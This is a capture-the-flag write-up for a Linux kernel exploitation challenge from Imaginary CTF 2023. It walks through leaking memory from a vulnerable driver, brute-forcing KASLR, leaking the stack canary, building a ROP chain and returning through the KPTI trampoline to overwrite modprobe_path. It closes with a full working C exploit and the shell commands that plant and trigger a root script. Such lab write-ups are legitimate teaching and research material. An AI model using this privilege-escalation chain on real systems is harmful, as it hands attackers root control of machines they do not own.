Linux Kernel Exploitation: Overwriting modprobe_path to gain root privileges

January 18, 2026

Kernel Exploitation: Overwriting modprobe_path to Gain Root Privileges

In this write-up, I'll detail the process of exploiting a kernel vulnerability by overwriting the modprobe_path to gain root privileges. This technique leverages a writable kernel variable and the kernel's module loading mechanism. This is based on the Kernel Pwn challenge from Imaginary CTF 2023 which can be found here: Github

When running tree inside the challenge directory, we see the following structure:

- bzImage
- decompress.sh
- gdb.sh
- initramfs.cpio
- run.sh
- src
---- exploit
---- exploit.c
---- Makefile

Where initramfs.cpio is where the root filesystem is stored, and the chall.ko / the challenge kernel module is stored.

We need to work with the exploit.c file in the src directory.

First start using the decompress.sh script to decompress the initramfs.cpio image, and start looking for the ./etc/init.d/rcS file.

The rcS file is the root filesystem's init script, and it is executed when the root filesystem is mounted. Here are protections declared. Here we'll change the following to be root for debugging purposes. After we're done with the exploit we can remove these lines again.

[-] -- setsid cttyhack setuidgid 1000 sh
[+] ++ setsid cttyhack setuidgid 0 sh

echo 0 > /proc/sys/kernel/kptr_restrict
echo 0 > /proc/sys/kernel/perf_event_paranoid
echo 0 > /proc/sys/kernel/dmesg_restrict

Start the challenge by:

musl-gcc src/exploit.c -static -o initramfs/exploit && cd initramfs && find . -print0 | cpio --null -ov --format=newc > ../initramfs.cpio && cd .. && ./run.sh initramfs.cpio

Reference

When we boot we get this screen:

---------------------------------------------------------------
                     _                            
                    | |                           
       __      _____| | ___ ___  _ __ ___   ___   
       \ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \  
        \ V  V /  __/ | (_| (_) | | | | | |  __/_ 
         \_/\_/ \___|_|\___\___/|_| |_| |_|\___(_)
                                            
  Take the opportunity. Look through the window. Get the flag.
---------------------------------------------------------------
/ # id
uid=0(root) gid=0(root) groups=0(root)

Now we can start debugging the challenge. There is a file located at /dev/window which is created by the kernel module chall.ko. We load this in binaryninja or IDA Pro to analyze the functions.

Interesting functions

1. device_write / just write syscall

1

  • does create a buffer a with a size of 0x40
  • copies user input into a with copy_from_user; no size checks
  • Uses a stack canary to prevent stack smashing

2. device_ioctl / just ioctl syscall

2

  • First checks if we use the cmd argument with the value of 0x1337
  • If so, it goes to the cleanup_module function, and does a copy_from_user
  • After this it does a copy_to_user making it possible to read the kernel memory; no size checks

Other points of interest

The struct used to communicate with the kernel is a request struct

typedef struct request_s {
    uint64_t kptr;
    uint8_t buf[0x100];
} request_t;

And the driver is initialized on the /dev file in the init_module function:

uint32_t rax = __register_chrdev(0, 0, 0x100, "window", &fops);

GDB and check what we have

sudo gdb-multiarch -ex "target remote :1234" -ex "ksymaddr-remote-apply" -ex "c"

Bruteforcing KASLR

Why are we able to bruteforce the kernel base address?

We can bruteforce the kernel base address because:

  1. Arbitrary Read: The vulnerability provides us with an arbitrary read primitive via the ioctl handler, allowing us to read memory at any address we specify.
  2. KASLR Alignment: Kernel Address Space Layout Randomization (KASLR) randomizes the kernel's base address, but it doesn't place it at a completely random byte offset. The kernel text section is typically aligned to 0x200000 (2MB) due to CONFIG_PHYSICAL_ALIGN
  3. The physical address and virtual address of kernel text itself are randomized to a different position separately. The physical address of the kernel can be anywhere under 64TB, while the virtual address of the kernel is restricted between [0xffffffff80000000, 0xffffffffc0000000].
  4. Reduced Search Space: Because of the alignment, we don't need to check every byte. We only need to check addresses falling on 0x200000 boundaries starting from the standard base 0xffffffff80000000. This drastically reduces the entropy we have to defeat.
  5. Signature Detection: The valid kernel base contains mapped memory that returns non-zero values, whereas invalid or unmapped memory regions will return 0.

We are able to do this with the following code:

#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <assert.h>
#include <fcntl.h>
#include <unistd.h>


#define IOCTL_CMD 0x1337

typedef struct request_s {
    unsigned long kptr;
    char buf[0x100];
} request_t;

unsigned long brute_kernel(int fd, unsigned long kptr) {
    request_t req = {0};
    req.kptr = kptr;
    ioctl(fd, IOCTL_CMD, &req);
    return *(unsigned long *)req.buf;
}

int main() {

  int fd = open("/dev/window", O_RDWR);
  assert(fd > 0);
  unsigned long kbase = 0xffffffff80000000;

  while (1) {
    unsigned long ret = brute_kernel(fd, kbase);
    printf("[*] trying %p\n, got %p\n", kbase, ret);
    if (ret != 0) {
      break;
    }
    
    kbase += 0x200000;
  }
  printf("[*] kernel base: %p\n", kbase);
  close(fd);

}

3

Enumeration before exploitation

Finding the offset for our stack canary

  • First check the $gs_base with gdb:
gef> x/gx $gs_base+0x28                                                        
0xffff88800f600028:	0xe8444707dd38b600

kallsyms

Because we changed the rcS to echo 0 > /proc/sys/kernel/kptr_restrict we can now use kallsyms to find an relative pointer to our kernel base that points to an address that we can use to find the offset for our stack canary

/ # grep " b " /proc/kallsyms | head -n 20
ffffffff8373e000 b dummy_mapping
ffffffff8373f000 b level3_user_vsyscall
ffffffff83740000 b idt_table
ffffffff83741000 b espfix_pud_page
ffffffff83742000 b bm_pte
ffffffff83743000 b scratch.0
ffffffff83744010 b initcall_calltime
ffffffff83744018 b panic_param
ffffffff83744020 b panic_later
ffffffff83744028 b execute_command
ffffffff83744030 b initargs_offs
ffffffff83744038 b bootconfig_found
ffffffff83744040 b extra_init_args
ffffffff83744048 b extra_command_line
ffffffff83744050 b static_command_line
ffffffff8374405c b is_tmpfs
ffffffff83744060 b root_wait

Now back to gdb

gef> x/20gx 0xffffffff83744000
0xffffffff83744000 <initcall_debug>:	0x0000000000000000	0xffff88800fcd2900
0xffffffff83744010 <initcall_calltime>:	0x0000000000000000	0x0000000000000000
0xffffffff83744020 <panic_later>:	0x0000000000000000	0x0000000000000000
0xffffffff83744030 <initargs_offs>:	0x0000000000000000	0x0000000000000000
0xffffffff83744040 <extra_init_args>:	0x0000000000000000	0x0000000000000000
0xffffffff83744050 <static_command_line>:	0xffff88800fcd28c0	0x0000000100000000
0xffffffff83744060 <root_wait>:	0x0000000000000000	0x0000000000000000
0xffffffff83744070 <initrd_end>:	0x0000000000000000	0x0000000000000000
0xffffffff83744080 <real_root_dev>:	0x0000000000000000	0x0000000000000001
0xffffffff83744090 <my_inptr>:	0x0000000000000000	0x0000000000000000

Here we can see that we have a relative pointer to our kernel base at 0xffffffff83744050 that points to 0xffff88800fcd28c0

0xffffffff83744050 <static_command_line>:	0xffff88800fcd28c0	0x0000000100000000

Now we can calculate the offset for our stack canary

unsigned long canary_base = canary_pointer - 0x6D08c0; // leak canary_pointer - $gs_base + 0x28
unsigned long canary = device_ioctl(fd, canary_base + 0x28);

4

Before we gain control flow and execute our ropchain we need to patch the stack canary to prevent a stack canary failure. So after overwriting with 0x40 bytes of A's we can patch the stack canary like this:

  char payload[0x1000];
  memset(payload, 0x41, 0x1000);
  unsigned long* krop = (unsigned long*)&payload[0x40];
  *krop++ = canary;
  *krop++ = 0; // fake saved rbp

Overwriting modprobe_path

Background: modprobe_path

The Linux kernel uses a global variable named modprobe_path to determine what user-space program to run when it needs to load a kernel module. This can be checked with:

$ cat /proc/sys/kernel/modprobe
/sbin/modprobe

And after our exploit we can see that it has been changed to our new path:

$ cat /proc/sys/kernel/modprobe
/tmp/poc.sh

This variable is stored in writable kernel memory and can be overwritten if an attacker has a write primitive in the kernel. The mechanism is explained in detail in the write-up by lkmidas: Linux Kernel Pwn: modprobe_path (https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/).

When the Kernel Executes modprobe_path

When the kernel encounters a binary that it does not understand (for example, a file with a non-standard header), it attempts to automatically load a handler for that file type. This causes the kernel to invoke the module loading mechanism, which ultimately executes the program pointed to by modprobe_path with root privileges.

This fallback behavior and how it triggers modprobe_path execution is documented in the technique overview here: https://github.com/smallkirby/kernelpwn/blob/master/technique/modprobe_path.md

How the Modprobe Overwrite Technique Works

If you have some form of arbitrary write into kernel memory (for example, through a vulnerability, like we have in this challenge), you can:

  1. Write a path of your choosing (e.g., a script you control) into the modprobe_path variable.
  2. Create a dummy binary with an unknown file type and call execve() on it.
  3. The kernel will attempt to load a module for the unknown binary, invoking modprobe_path and thus running your chosen script as root.

This gives you privileged code execution from a kernel memory write primitive, without having to perform direct credential manipulation inside the kernel. Like you have to do with commit_creds(&init_cred) or commit_creds(prepare_kernel_cred(0))

In short

  1. A vulnerability gives you arbitrary write into kernel memory.
  2. You overwrite the global kernel variable modprobe_path with /tmp/poc.sh.
  3. You create a dummy file with an unrecognized file type.
  4. You execve() the dummy file.
  5. The kernel tries to load a module and calls the program at your overwritten modprobe_path.
  6. Your script runs as root.

Summary

The modprobe overwrite technique leverages:

  • A writable kernel variable (modprobe_path)
  • The kernel's automatic module loader
  • The fact that the kernel will execute the helper specified in modprobe_path with elevated privileges

This means an attacker with a write primitive can use the kernel's own mechanisms to escalate privileges, as detailed in the original write-ups linked above.

Eventually we want to execute the following:

#define modprobe_path (kbase + 0x0208c500)
char new_path[] = "/tmp/poc.sh";
copy_from_user(modprobe_path, new_path, strlen(new_path)+1)

Before all this

We first have to get some ropgadgets; we can gather this by using the following script, to extract the kernel image from the bzImage: extract-image.sh And then run that on the kernel image bzImage

./extract.sh bzImage > vmlinux

Using kropr

Using kropr

kropr vmlinux > kropr_gadgets.txt

Here we can see the ropgadgets we need:

grep "pop rdi; ret" kropr_gadgets.txt | tail -n 1
0xffffffff81f1122d: pop rdi; ret;

grep "pop rsi; ret" kropr_gadgets.txt | tail -n 1
0xffffffff81e9381e: pop rsi; ret;

grep "pop rdx; ret" kropr_gadgets.txt | tail -n 1
0xffffffff81eccd22: pop rdx; ret;

Using kmagic

Using kmagic in GEF we can find the offset for our ropgadgets

gef> kmagic
modprobe_path  0xffffffff8308c500 [RW-] (+0x0208c500) -> /sbin/modprobe
swapgs_restore_regs_and_return_to_usermode 0xffffffff820010f0 [R-X] (+0x010010f0) -> 0x6500000048b919eb
_copy_from_user                            0xffffffff816e5d00 [R-X] (+0x006e5d00) -> 0x54415541e5894855

Now we can overwrite the modprobe_path with our new path. This will look like: 6

KPTI and Returning to Userland

What is KPTI?

Kernel Page Table Isolation (KPTI) is a security mitigation introduced to defend against Meltdown-style attacks. It works by maintaining two separate sets of page tables:

  1. Kernel page tables: Contains mappings for both kernel and user space (used when running in kernel mode)
  2. User page tables: Contains only user space mappings with minimal kernel mappings (used when running in user mode)

When transitioning between kernel and user mode, the CPU must switch between these page table sets. This is why we can't simply use a regular iret instruction to return to userland after our ROP chain - we need to properly handle the page table switch.

Why We Need swapgs_restore_regs_and_return_to_usermode

The swapgs_restore_regs_and_return_to_usermode function (often called the "KPTI trampoline") is the kernel's official way to safely return to user mode. It:

  1. Switches the GS segment register (via swapgs) which holds per-CPU data
  2. Switches from kernel page tables to user page tables
  3. Restores user registers and executes iretq to return to userland

Without using this trampoline on KPTI-enabled systems, our exploit would crash when trying to return to user mode because the page tables wouldn't be properly switched.

swapgs_restore_regs_and_return_to_usermode (swapgs_iret)

We can leverage this to return to user-mode and execute our payload with root permissions. We don't need to use the whole function from the start to the end, we only need to use the part that returns to user-mode, otherwise we have to set all the pop instructions that are used in the function. So we redirect to swapgs_iret +0x36> mov rdi, rsp

5

Save state

We have to know where to return to, after this kernel ropchain is done we want to return to userland, so we can execute our payload with root permissions. We can use this to save the state of the registers before we overwrite them with our ropgadgets, and later restore them when we want to return to user-mode.

unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved state");
}

So when we run our exploit it will first save the state and prints it to the console.

/ $ ./exploit
[*] Saved state
[*] user_cs: 0x33
[*] user_ss: 0x2b
[*] user_sp: 0x7ffdd4cde830
[*] user_rflags: 0x246
[*] user_rip (win): 0x4011dd

What is done after the exploit?

After our kernel ropchain is done and we've succesfully overwritten the modprobe_path with our new path, we want to execute our payload with root permissions.

unsigned long user_rip = (unsigned long)trampoline;
void win() {
        system("echo -e '#!/bin/sh\nchmod 777 /flag.txt' > /tmp/poc.sh");
        system("chmod +x /tmp/poc.sh");
        system("echo -e '\xff\xff\xff\xff' > /tmp/pwn");
        system("chmod +x /tmp/pwn");
        system("/tmp/pwn");
        system("cat /flag.txt");
        exit(0);
}

void __attribute__((naked)) trampoline() {
    __asm__(
        ".intel_syntax noprefix;"
        "xor rbp, rbp;"
        "and rsp, ~0xF;"
        "call win;"
        "mov rax, 60;"
        "xor rdi, rdi;"
        "syscall;"
        ".att_syntax;"
    );
}

// return to user-mode
[...] // ropchain comes before this
*krop++ = user_rip;
*krop++ = user_cs;
*krop++ = user_rflags;
*krop++ = user_sp;
*krop++ = user_ss;

The ropchain

The ropchain will look like this, where the first 0x40 bytes will be used to get to the canary, restore it and redirect to get user control. 8

char payload[0x1000];
memset(payload, 0x41, 0x1000);
unsigned long* krop = (unsigned long*)&payload[0x40];
  
*krop++ = canary;           // overwrite canary 
*krop++ = 0;                  // fake saved rbp
  
// ROP chain starts here (this is the return address)
*krop++ = pop_rdi;
*krop++ = modprobe_path; // /sbin/modprobe in $rdi
*krop++ = pop_rsi;
*krop++ = (unsigned long)new_path; // /tmp/poc.sh in $rsi
*krop++ = pop_rdx;
*krop++ = strlen(new_path) + 1; // strlen(new_path) + 1 in $rdx
*krop++ = copy_from_user; // copy_from_user in $rip will execute copy_from_user(modprobe_path, new_path:="/tmp/poc.sh", strlen(new_path)+1)
  
//return to user-mode -> win function 
*krop++ = swapgs_iret; // kpti trampoline
*krop++ = 0; // [rdi+0x00] - pushed via push [rdi]
*krop++ = 0; // [rdi+0x08] - unused
*krop++ = user_rip; 
*krop++ = user_cs;
*krop++ = user_rflags;
*krop++ = user_sp;
*krop++ = user_ss;

7

Full exploit

#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <assert.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define IOCTL_CMD 0x1337
#define modprobe_path (kbase + 0x0208c500)
#define swapgs_iret (kbase + 0x1001126) //+0x36>   mov    rdi, rsp
#define pop_rsi (kbase + 0xe9381e)
#define pop_rdi (kbase + 0xf1122d)
#define pop_rdx (kbase + 0xeccd22)
#define copy_from_user (kbase + 0x006e5d00)

int fd = 0;
unsigned long user_cs, user_ss, user_rflags, user_sp;
char new_path[] = "/tmp/poc.sh";

void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved state");
}

void win() {
        // prepare malicious modprobe path
        system("echo -e '#!/bin/sh\nchmod 777 /flag.txt' > /tmp/poc.sh");
        system("chmod +x /tmp/poc.sh");
        system("echo -e '\xff\xff\xff\xff' > /tmp/pwn");
        system("chmod +x /tmp/pwn");

        // call /tmp/poc.sh with root permissions via modprobe_path
        system("/tmp/pwn");
        system("cat /flag.txt");
        exit(0);
}

void __attribute__((naked)) trampoline() {
    __asm__(
        ".intel_syntax noprefix;"
        "xor rbp, rbp;"
        "and rsp, ~0xF;"
        "call win;"
        "mov rax, 60;"
        "xor rdi, rdi;"
        "syscall;"
        ".att_syntax;"
    );
}

unsigned long user_rip = (unsigned long)trampoline;

typedef struct request_s {
    unsigned long kptr;
    char buf[0x100];
} request_t;

unsigned long device_ioctl(int fd, unsigned long kptr) {
    request_t req = {0};
    req.kptr = kptr;
    ioctl(fd, IOCTL_CMD, &req);
    return *(unsigned long *)req.buf;
}



int main() {
  save_state();
  printf("[*] user_cs: 0x%lx\n", user_cs);
  printf("[*] user_ss: 0x%lx\n", user_ss);
  printf("[*] user_sp: 0x%lx\n", user_sp);
  printf("[*] user_rflags: 0x%lx\n", user_rflags);
  printf("[*] user_rip (win): 0x%lx\n", user_rip);
  
  int fd = open("/dev/window", O_RDWR);
  assert(fd > 0);
  unsigned long kbase = 0xffffffff80000000;

  while (1) {
    unsigned long ret = device_ioctl(fd, kbase);
    printf("[*] trying %p\n, got %p\n", kbase, ret);
    if (ret != 0) {
      break;
    }
    
    kbase += 0x200000;
  }
  printf("[*] kernel base: %p\n", kbase);
  unsigned long canary_offset = kbase + 0x2744050; // 0xffffffff83744050 (canary pointer .bss) - 0xffffffff81000000 (kbase) 
  unsigned long canary_pointer = device_ioctl(fd, canary_offset);
  unsigned long canary_base = canary_pointer - 0x6D08c0; // leak canary_pointer - $gs_base + 0x28
  unsigned long canary = device_ioctl(fd, canary_base + 0x28);
  
  
  
  printf("[*] stack canary pointer: %p\n", canary_pointer);
  printf("[*] stack canary base: %p\n", canary_base);
  printf("[*] stack canary: %p\n", canary);

  char payload[0x1000];
  memset(payload, 0x41, 0x1000);
  unsigned long* krop = (unsigned long*)&payload[0x40];
  
  
  *krop++ = canary;           // overwrite canary 
  *krop++ = 0;                  // fake saved rbp
  
  // ROP chain starts here (this is the return address)
  *krop++ = pop_rdi;
  *krop++ = modprobe_path; // /sbin/modprobe in $rdi
  *krop++ = pop_rsi;
  *krop++ = (unsigned long)new_path; // /tmp/poc.sh in $rsi
  *krop++ = pop_rdx;
  *krop++ = strlen(new_path) + 1; // strlen(new_path) + 1 in $rdx
  *krop++ = copy_from_user; // copy_from_user in $rip will execute copy_from_user(modprobe_path, new_path:="/tmp/poc.sh", strlen(new_path)+1)
  
  //return to user-mode -> win function 
  *krop++ = swapgs_iret; // kpti trampoline
  *krop++ = 0; // [rdi+0x00] - pushed via push [rdi]
  *krop++ = 0; // [rdi+0x08] - unused
  *krop++ = user_rip;
  *krop++ = user_cs;
  *krop++ = user_rflags;
  *krop++ = user_sp;
  *krop++ = user_ss;

  printf("[*] payload size: 0x%lx bytes\n", (unsigned long)((char*)krop - payload));
  printf("[*] sending payload...\n");
  write(fd, payload, (char*)krop - payload);
  printf("[+] write() returned successfully!\n");
  printf("[*] if you see this, the exploit worked!\n");


  close(fd);

}